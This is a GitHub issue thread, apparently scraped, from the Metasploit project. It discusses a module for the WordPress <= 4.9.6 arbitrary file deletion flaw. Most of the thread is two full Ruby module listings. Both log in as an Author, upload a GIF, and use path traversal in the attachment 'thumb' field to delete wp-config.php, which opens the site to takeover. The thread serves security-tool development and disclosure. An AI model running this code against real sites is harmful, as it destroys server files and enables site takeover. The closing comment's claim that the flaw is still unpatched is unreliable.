Metasploit-framework: Wordpress Arbitrary File Deletion <= 4.9.6

Created on 1 Jul 2018  路  6Comments  路  Source: rapid7/metasploit-framework

I have been working for fun on a module for the Arbitrary File Deletion vulnerability in Wordpress <= 4.9.6, this is what I have so far:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
              info,
              'Name'           => 'Wordpress Arbitrary File Deletion',
              'Description'    => %q{
                An arbitrary file deletion vulnerability in the WordPress core allows any user with privileges of an
                Author to completely take over the WordPress site and to execute arbitrary code on the server.
              },
              'Author'         =>
                  [
                      'Slavco Mihajloski',   # Vulnerability discovery
                      'Karim El Ouerghemmi', # Vulnerability discovery
                      'Alo茂s Th茅venot'       # Metasploit module
                  ],
              'License'        => MSF_LICENSE,
              'References'     =>
                  [
                      ['WPVDB', '9100'],
                      ['EDB', '44949'],
                      ['PACKETSTORM', '148333'],
                      ['URL', 'https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/'],
                      ['URL', 'https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/']
                  ],
              'Privileged'     => false,
              'Platform'       => 'php',
              'Arch'           => ARCH_PHP,
              'Targets'        => [['WordPress <= 4.9.6', {}]],
              'DefaultTarget'  => 0,
              'DisclosureDate' => 'Jun 26 2018'))

    register_options(
        [
            OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
            OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
        ])
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def check
    vprint_status('Checking if target is online and running Wordpress...')
    if wordpress_and_online?.nil?
      vprint_error('The target is not online and running Wordpress')
      CheckCode::Safe
    end

    vprint_status('Checking credentials...')
    cookie = wordpress_login(username, password)
    if cookie.nil?
      vprint_error('Invalid credentials')
      CheckCode::Unknown
    end
    store_valid_credential(user: username, private: password, proof: cookie)

    vprint_status('Checking access...')
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => normalize_uri(wordpress_url_backend, 'upload.php'),
      'cookie'  => cookie,
    )

    if res
      if res.code == 403
        vprint_error('The account does not have permission to manage media')
        CheckCode::Safe
      elsif res.code == 200
        CheckCode::Appears
      else
        vprint_error("Unexpected reply - #{res.code}")
        CheckCode::Unknown
      end
    end
  end

  def get_nonce(cookie)
    res = send_request_cgi(
        'method'  => 'GET',
        'uri'     => normalize_uri(wordpress_url_backend, 'upload.php'),
        'cookie'  => cookie,
        )

    unless res and res.code == 200
      fail_with(Failure::Unknown, "Could not get the nonce")
    end

    res.body.scan(/_wpnonce":"([a-z0-9]+)"/)[0][0].to_s
  end

  def exploit
    if wordpress_and_online?.nil?
      fail_with(Failure::BadConfig, 'The target is not online and running Wordpress')
    end
    cookie = wordpress_login(username, password)
    if cookie.nil?
      fail_with(Failure::BadConfig, 'Invalid credentials')
    end
    store_valid_credential(user: username, private: password, proof: cookie)

    nonce = get_nonce(cookie)

    data = Rex::MIME::Message.new
    data.add_part(Rex::Text.decode_base64('R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs='), "image/gif", nil, "form-data; name=\"async-upload\"; filename=\"a.gif\"")
    data.add_part("upload-attachment", nil, nil, "form-data; name=\"action\"")
    data.add_part(nonce, nil, nil, "form-data; name=\"_wpnonce\"")

    post_data = data.to_s

    res = send_request_cgi(
        'method'  => 'POST',
        'uri'     => normalize_uri(wordpress_url_backend, 'async-upload.php'),
        'ctype'   => "multipart/form-data; boundary=#{data.bound}",
        'data'    => post_data,
        'cookie'  => cookie
    )

    unless res and res.code == 200
      fail_with(Failure::Unknown, "Could not upload the media")
    end

    json = JSON::parse(res.body)
    id = json['data']['id']
    update_nonce = json['data']['nonces']['update']
    delete_nonce = json['data']['nonces']['delete']

    res = send_request_cgi(
        'method'  => 'POST',
        'uri'     => normalize_uri(wordpress_url_backend, "post.php?post=#{id}"),
        'cookie'  => cookie,
        'vars_post' =>
            {
                'action' => 'editattachment',
                '_wpnonce' => update_nonce,
                'thumb' => '../../../../wp-config.php'
            }
    )

    unless res and res.code == 302
      fail_with(Failure::Unknown, "Could not edit media")
    end

    res = send_request_cgi(
        'method'  => 'POST',
        'uri'     => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
        'cookie'  => cookie,
        'vars_post' =>
            {
                'action' => 'delete-post',
                '_wpnonce' => delete_nonce,
                'id' => id
            }
    )

    unless res and res.code == 200
      fail_with(Failure::Unknown, "Could not delete media")
    end
  end
end

Initially I thought I would add an option to specify the file to delete and not do anything else but then since it's a Remote Exploit maybe it make more sense to actually try to get a shell.

My understanding is that to get a shell you would need to setup the Wordpress install with a remote database to fully get control over the website and then use something like exploit/unix/webapp/wp_admin_shell_upload to get a shell. I don't think it make much sense to add the code to setup the website with a new database and getting the shell would mean duplicating some code.

Should this just be an auxiliary module ? Is this worth making a pull request ?

feature module

Most helpful comment

Sorry @bcoles there is already an open pull request but I forgot to link it #10247. I'll look at your suggestions and will make the necessary changes. Thanks

All 6 comments

I'd leave it as an aux module, clean it up a bit, and PR it!

I converted this to an aux module and cleaned it up a bit. But then I got bored.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress Arbitrary File Deletion',
      'Description'    => %q{
        An arbitrary file deletion vulnerability in the WordPress core allows any user with privileges of an
        Author to completely take over the WordPress site and to execute arbitrary code on the server.
      },
      'Author'         =>
        [
          'Slavco Mihajloski',   # Vulnerability discovery
          'Karim El Ouerghemmi', # Vulnerability discovery
          'Alo茂s Th茅venot'       # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['WPVDB', '9100'],
          ['EDB', '44949'],
          ['PACKETSTORM', '148333'],
          ['URL', 'https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/'],
          ['URL', 'https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/']
        ]))
    register_options [
      OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
      OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def check
    vprint_status('Checking if target is online and running Wordpress...')
    unless wordpress_and_online?
      vprint_error('The target is not online and running Wordpress')
      CheckCode::Safe
    end

    vprint_status 'Checking credentials...'
    cookie = wordpress_login(username, password)
    if cookie.nil?
      vprint_error('Invalid credentials')
      CheckCode::Unknown
    end
    store_valid_credential(user: username, private: password, proof: cookie)

    vprint_status 'Checking access...'
    res = send_request_cgi(
      'uri'     => normalize_uri(wordpress_url_backend, 'upload.php'),
      'cookie'  => cookie
    )

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 200
      vprint_status 'The user has permission to manage media'
      return CheckCode::Appears
    end

    if res.code == 403
      vprint_error 'The user does not have permission to manage media'
      return CheckCode::Safe
    end

    vprint_error("Unexpected reply - #{res.code}")
    CheckCode::Detected
  end

  def get_nonce(cookie)
    res = send_request_cgi(
      'uri'     => normalize_uri(wordpress_url_backend, 'upload.php'),
      'cookie'  => cookie
    )

    unless res && res.code == 200
      fail_with(Failure::Unknown, "Could not get the nonce")
    end

    # TODO: can [0][0] be replaced with `.flatten.first`
    res.body.scan(/_wpnonce":"([a-z0-9]+)"/)[0][0].to_s
  end

  def run
    unless wordpress_and_online?
      fail_with(Failure::BadConfig, 'The target is not online and running Wordpress')
    end
    cookie = wordpress_login(username, password)
    if cookie.nil?
      fail_with(Failure::BadConfig, 'Invalid credentials')
    end
    store_valid_credential(user: username, private: password, proof: cookie)

    nonce = get_nonce(cookie)

    # TODO randomise filename
    data = Rex::MIME::Message.new
    data.add_part(Rex::Text.decode_base64('R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs='), "image/gif", nil, "form-data; name=\"async-upload\"; filename=\"a.gif\"")
    data.add_part("upload-attachment", nil, nil, "form-data; name=\"action\"")
    data.add_part(nonce, nil, nil, "form-data; name=\"_wpnonce\"")

    post_data = data.to_s

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => normalize_uri(wordpress_url_backend, 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => post_data,
      'cookie'  => cookie
    )

    unless res and res.code == 200
      fail_with(Failure::Unknown, "Could not upload the media")
    end

    json = JSON::parse(res.body)
    id = json['data']['id']
    update_nonce = json['data']['nonces']['update']
    delete_nonce = json['data']['nonces']['delete']

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => normalize_uri(wordpress_url_backend, 'post.php'),
      'vars_get' => "post=#{id}".
      'cookie'  => cookie,
      'vars_post' =>
        {
          'action' => 'editattachment',
          '_wpnonce' => update_nonce,
          'thumb' => '../../../../wp-config.php' # TODO: make this configurable
        }
    )

    unless res && res.code == 302
      fail_with(Failure::Unknown, "Could not edit media")
    end

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
      'cookie'  => cookie,
      'vars_post' =>
        {
          'action' => 'delete-post',
          '_wpnonce' => delete_nonce,
          'id' => id
        }
    )

    unless res && res.code == 200
      fail_with(Failure::Unknown, "Could not delete media")
    end
  end
end

Sorry @bcoles there is already an open pull request but I forgot to link it #10247. I'll look at your suggestions and will make the necessary changes. Thanks

@Techbrunch all good. I wasn't interested in writing the module. I was hoping to motivate you to come back and do a PR :)

The pull request was merged before I got the chance to make some of the suggestions from @bcoles becoles but I think that's ok. I'm closing the issue.

i came to know about this exploit while reading here i think arbitrary file deletion vulnerability in the WordPress remains unpatched in the WordPress core as of now. but team at RIPS have developed a good temporary fix though.

Was this page helpful?
0 / 5 - 0 ratings